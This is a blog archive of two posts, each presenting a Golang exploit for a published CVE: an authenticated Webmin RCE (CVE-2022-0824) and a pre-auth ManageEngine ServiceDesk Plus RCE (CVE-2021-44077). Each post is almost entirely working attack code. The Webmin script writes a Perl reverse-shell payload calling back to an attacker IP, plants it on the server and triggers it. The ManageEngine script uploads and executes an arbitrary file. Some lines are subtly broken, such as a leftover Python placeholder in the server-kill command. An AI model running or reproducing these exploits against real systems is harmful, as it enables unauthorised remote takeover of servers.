Category Archives: POC

Webmin CVE-2022-0824 RCE in Golang

I’ve continued my quest to translate exploits into Golang. Here is an RCE in Webmin due to broken access controls. Please see the following links for more information.

https://nvd.nist.gov/vuln/detail/CVE-2022-0824

https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/

https://www.webmin.com/security.html

You can also find this code on my Github.

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
)

func check(e error) {
	if e != nil {
		fmt.Println(e)
	}
}

func makePayload(callbackIP string, callbackPort string) {
	payload := []byte("perl -e 'use Socket;$i=\"" + callbackIP + "\";$p=" + callbackPort + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'")
	err := os.WriteFile("./commands.cgi", payload, 0644)
	check(err)

	return
}

func login(client http.Client, target string, creds string) string {

	loginURL := target + "/session_login.cgi"

	params := "user=" + strings.Split(creds, ":")[0] + "&pass=" + strings.Split(creds, ":")[1]

	request, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(params))
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("Cookie", "redirect=1; testing=1")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	var sidCookie = ""

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {

		sidCookie = resp.Request.Response.Cookies()[0].Value
	}
	resp.Body.Close()
	// now use sid cookie to make sure it works to log in
	request, err = http.NewRequest("GET", target, nil)
	request.Header.Set("Cookie", "redirect=1; testing=1; sid="+sidCookie)

	resp, err = client.Do(request)
	if err != nil {
		log.Fatalln(err)
	}
	bodyBytes, err := io.ReadAll(resp.Body)
	bodyString := string(bodyBytes)
	resp.Body.Close()
	r, _ := regexp.Compile("System hostname")
	if !r.MatchString(bodyString) {
		fmt.Println("----> Unable to obtain sid cookie. Check your credentials.")
		return ""
	}

	return sidCookie
}

func runServer(serverURL string) {
	fmt.Println("--> Running a server on " + serverURL)
	serverPort := strings.Split(serverURL, ":")[1]

	exec.Command("setsid",
		"/usr/bin/python3",
		"-m",
		"http.server",
		serverPort,
		"0>&1 &").Output()

	fmt.Println("--> Server Started!")

	return
}

func downloadURL(client http.Client, target string, serverURL string, creds string, sid string) {

	URL := target + "/extensions/file-manager/http_download.cgi?module=filemin"

	serverIP := strings.Split(serverURL, ":")[0]
	serverPort := strings.Split(serverURL, ":")[1]

	bodyString := "link=http://" + serverIP + "/" + serverPort + "/commands.cgi&username=&password=&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", URL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func modifyPermissions(client http.Client, target string, serverURL string, creds string, sid string) {
	modifyURL := target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"

	bodyString := "name=commands.cgi&perms=0755&applyto=1&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", modifyURL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func execShell(client http.Client, target string, sid string) {
	fileLocation := target + "/commands.cgi"

	fmt.Println("--> Triggering shell. Check listener!")

	request, err := http.NewRequest("GET", fileLocation, nil)
	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func stopServer() {
	out, _ := exec.Command("kill",
		"-9",
		"$(lsof",
		"-t",
		"-i:{self.pyhttp_port})").Output()
	fmt.Println("--> Killed Server!")
	output := string(out[:])
	fmt.Println(output)

	return
}

func main() {
	fmt.Println("--> Running Exploit! Ensure listener is running!")
	if runtime.GOOS == "windows" {
		fmt.Println("Can't Execute this on a windows machine")
		return
	}

	target := flag.String("t", "https://www.webmin.local:10000", "Target full URL, https://www.webmin.local:10000")
	creds := flag.String("c", "username:password", "Format, username:password")
	serverURL := flag.String("sl", "192.168.8.120:8787", " Http server for serving payload, ex 192.168.8.120:8080")
	callbackIP := flag.String("s", "127.0.0.1", " Callback IP to receive revshell")
	callbackPort := flag.String("p", "9999", " Callback port to receive revshell")

	flag.Parse()

	// uncomment the following to use a local proxy
	// proxyUrl, err := url.Parse("http://localhost:8080")
	// check(err)

	// tr := &http.Transport{
	// 	TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11,
	// 		MaxVersion: tls.VersionTLS11},
	// 	Proxy: http.ProxyURL(proxyUrl),
	// }
	// client := &http.Client{Transport: tr}

	// comment out these two lines if using the proxy above.
	tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11, MaxVersion: tls.VersionTLS12}}
	client := &http.Client{Transport: tr}

	makePayload(*callbackIP, *callbackPort)
	sid := login(*client, *target, *creds)
	runServer(*serverURL)
	downloadURL(*client, *target, *serverURL, *creds, sid)
	modifyPermissions(*client, *target, *serverURL, *creds, sid)
	execShell(*client, *target, sid)
	stopServer()
}

Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.

You can find a vulnerable version of the software here. You can find this code on my Github here.

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
)

func uploadFile(uri string, paramName, path string) {

	file, err := os.Open(path)

	if err != nil {
		log.Fatal(err)
		return
	}
	fileContents, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatal(err)
		return
	}
	fi, err := file.Stat()
	if err != nil {
		log.Fatal(err)
		return
	}
	file.Close()

	body := new(bytes.Buffer)
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile(paramName, fi.Name())
	if err != nil {
		log.Fatal(err)
		return
	}
	part.Write(fileContents)
	writer.Close()

	request, err := http.NewRequest("POST", uri, body)
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {
		fmt.Println("Response code should be 401, if successful uploading occured.")
		fmt.Println(resp.StatusCode)
	}

	defer resp.Body.Close()

	return
}

func triggerExploit(uri string) {
	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	triggerURL := uri + "RestAPI/s247action"
	postData := "execute=s247AgentInstallationProcess"

	request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
	if err != nil {
		return
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client.Do(request)
}

func main() {
	// get flags
	VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
	maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")

	flag.Parse()

	path, err := os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	fullMaliciousFileName := path + *maliciousFileName

	fmt.Println("\n---> Uploading File!")
	uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)

	fmt.Println("\n---> Triggering!")
	triggerExploit(*VulnerableInstance)

	fmt.Println("\nExploit Completed!")

}